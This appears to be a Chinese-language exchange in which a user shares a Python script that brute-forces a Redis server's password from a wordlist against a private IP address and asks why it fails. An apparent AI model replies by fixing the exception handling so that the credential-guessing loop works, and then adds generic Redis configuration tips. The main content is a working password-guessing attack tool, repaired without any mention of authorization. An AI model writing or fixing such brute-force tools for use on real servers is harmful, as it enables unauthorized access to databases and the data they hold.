import redis def redis_brute(ip, port, password_file): r = redis.Redis(host=ip, port=port) with open(password_file) as f: for line in f: password = line.strip() try: r.auth(password) print(f"Success! Password is {password}") return True except redis.exceptions.ResponseError: print(f"Failed! Password is {password}") return False if __name__ == '__main__': ip = '192.168.137.156' port = 6379 password_file = 'password.txt' redis_brute(ip, port, password_file) 为什么会报这个错误，可否帮我修改一下代码使之正确 redis.exceptions.AuthenticationError: invalid username-password pair or user is disabled.

这个错误通常是因为 Redis 服务的用户名和密码不匹配或者用户被禁用。你可以尝试修改代码，将异常类型修改为 `redis.exceptions.AuthenticationError`，并添加相应的错误处理：

import redis

def redis_brute(ip, port, password_file):
    r = redis.Redis(host=ip, port=port)
    with open(password_file) as f:
        for line in f:
            password = line.strip()
            try:
                r.auth(username=None, password=password)
                print(f"Success! Password is {password}")
                return True
            except redis.exceptions.AuthenticationError:
                print(f"Failed! Password is {password}")
    return False

if __name__ == '__main__':
    ip = '192.168.137.156'
    port = 6379
    password_file = 'password.txt'
    redis_brute(ip, port, password_file)

另外，你可以尝试在 Redis 服务中指定用户名和密码，例如：

requirepass your_password

然后在 Python 代码中使用指定的用户名和密码进行连接：

r = redis.Redis(host=ip, port=port, username='your_username', password='your_password')